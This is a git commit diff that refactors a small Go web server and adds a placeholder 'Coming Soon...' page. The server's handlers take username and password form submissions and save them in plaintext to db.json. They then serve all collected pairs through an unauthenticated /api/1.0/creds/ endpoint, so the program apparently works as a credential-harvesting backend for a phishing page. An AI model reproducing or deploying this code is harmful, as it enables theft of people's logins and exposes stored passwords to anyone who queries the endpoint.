Split up files, and changed how templates are accessed.
This commit is contained in:
parent
f2e1cd8dae
commit
613c8e853d
10
flags.go
Normal file
10
flags.go
Normal file
@ -0,0 +1,10 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"flag"
|
||||||
|
)
|
||||||
|
|
||||||
|
var addr = flag.String("addr", ":8000", "http service address")
|
||||||
|
var static_files = flag.String("static", "./static", "location of static files")
|
||||||
|
var db_file = flag.String("db", "db.json", "output database")
|
||||||
|
var template_dir = flag.String("templates", "templates", "template dir")
|
48
handlers.go
Normal file
48
handlers.go
Normal file
@ -0,0 +1,48 @@
|
|||||||
|
package main
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"io/ioutil"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
)
|
||||||
|
|
||||||
|
func homeHandler(c http.ResponseWriter, req *http.Request) {
|
||||||
|
t := templates.Lookup("index.html")
|
||||||
|
if t != nil {
|
||||||
|
t.Execute(c, req.Host)
|
||||||
|
} else {
|
||||||
|
log.Fatal("template index.html not found")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func helloHandler(c http.ResponseWriter, req *http.Request) {
|
||||||
|
t := templates.Lookup("hello.html")
|
||||||
|
t.Execute(c, req.Host)
|
||||||
|
}
|
||||||
|
|
||||||
|
func passHandler(resp http.ResponseWriter, req *http.Request) {
|
||||||
|
un := req.FormValue("username")
|
||||||
|
pw := req.FormValue("password")
|
||||||
|
c := Cred{un, pw}
|
||||||
|
m.Lock()
|
||||||
|
defer m.Unlock()
|
||||||
|
creds = append(creds, c)
|
||||||
|
b, err := json.Marshal(creds)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
err = ioutil.WriteFile(*db_file, b, 0644)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
|
||||||
|
}
|
||||||
|
|
||||||
|
func credHandler(resp http.ResponseWriter, req *http.Request) {
|
||||||
|
b, err := json.Marshal(creds)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err)
|
||||||
|
}
|
||||||
|
resp.Write(b)
|
||||||
|
}
|
43
main.go
43
main.go
@ -3,12 +3,12 @@ package main
|
|||||||
import (
|
import (
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"flag"
|
"flag"
|
||||||
|
"html/template"
|
||||||
"io/ioutil"
|
"io/ioutil"
|
||||||
"log"
|
"log"
|
||||||
"net/http"
|
"net/http"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
"sync"
|
"sync"
|
||||||
"html/template"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
type Cred struct {
|
type Cred struct {
|
||||||
@ -17,53 +17,17 @@ type Cred struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var creds = make([]Cred, 0)
|
var creds = make([]Cred, 0)
|
||||||
|
|
||||||
var m = sync.Mutex{}
|
var m = sync.Mutex{}
|
||||||
|
|
||||||
var addr = flag.String("addr", ":8000", "http service address")
|
|
||||||
var static_files = flag.String("static", "./static", "location of static files")
|
|
||||||
var db_file = flag.String("db", "db.json", "output database")
|
|
||||||
var template_dir = flag.String("templates", "templates", "template dir")
|
|
||||||
var templates *template.Template
|
var templates *template.Template
|
||||||
|
|
||||||
func homeHandler(c http.ResponseWriter, req *http.Request) {
|
|
||||||
templates.Execute(c, req.Host)
|
|
||||||
}
|
|
||||||
|
|
||||||
func passHandler(resp http.ResponseWriter, req *http.Request) {
|
|
||||||
un := req.FormValue("username")
|
|
||||||
pw := req.FormValue("password")
|
|
||||||
c := Cred{un, pw}
|
|
||||||
m.Lock()
|
|
||||||
defer m.Unlock()
|
|
||||||
creds = append(creds, c)
|
|
||||||
b, err := json.Marshal(creds)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
err = ioutil.WriteFile(*db_file, b, 0644)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
http.Redirect(resp, req, "/", http.StatusTemporaryRedirect)
|
|
||||||
}
|
|
||||||
|
|
||||||
func credHandler(resp http.ResponseWriter, req *http.Request) {
|
|
||||||
b, err := json.Marshal(creds)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
resp.Write(b)
|
|
||||||
}
|
|
||||||
|
|
||||||
func init_db() {
|
func init_db() {
|
||||||
b, err := ioutil.ReadFile(*db_file)
|
b, err := ioutil.ReadFile(*db_file)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Println("Problem opening db file", err)
|
log.Println("Problem opening db file ... ignoring ...", err)
|
||||||
}
|
}
|
||||||
err = json.Unmarshal(b, &creds)
|
err = json.Unmarshal(b, &creds)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
log.Println("Problem parsing db file", err)
|
log.Println("Problem parsing db file ... ignoring ...", err)
|
||||||
creds = make([]Cred, 0)
|
creds = make([]Cred, 0)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -80,6 +44,7 @@ func main() {
|
|||||||
log.Fatal("problem parsing template dir:", *template_dir)
|
log.Fatal("problem parsing template dir:", *template_dir)
|
||||||
}
|
}
|
||||||
http.HandleFunc("/", homeHandler)
|
http.HandleFunc("/", homeHandler)
|
||||||
|
http.HandleFunc("/hello/", helloHandler)
|
||||||
http.HandleFunc("/pass", passHandler)
|
http.HandleFunc("/pass", passHandler)
|
||||||
http.HandleFunc("/api/1.0/creds/", credHandler)
|
http.HandleFunc("/api/1.0/creds/", credHandler)
|
||||||
http.Handle("/s/", http.StripPrefix("/s/",
|
http.Handle("/s/", http.StripPrefix("/s/",
|
||||||
|
23
templates/hello.html
Normal file
23
templates/hello.html
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>Coming Soon...</title>
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<link href="/s/bootstrap/css/bootstrap.min.css" rel="stylesheet" media="screen">
|
||||||
|
<link href="/s/bootstrap/css/bootstrap-responsive.min.css" rel="stylesheet" media="screen">
|
||||||
|
<style>
|
||||||
|
.pw {
|
||||||
|
padding-top: 100px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container pw">
|
||||||
|
<div class="row">
|
||||||
|
<button class="btn offset4 span3" type="submit">wat</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<script src="http://code.jquery.com/jquery-latest.js"></script>
|
||||||
|
<script src="/s/bootstrap/js/bootstrap.min.js"></script>
|
||||||
|
</body>
|
||||||
|
</html>
|
Loading…
Reference in New Issue
Block a user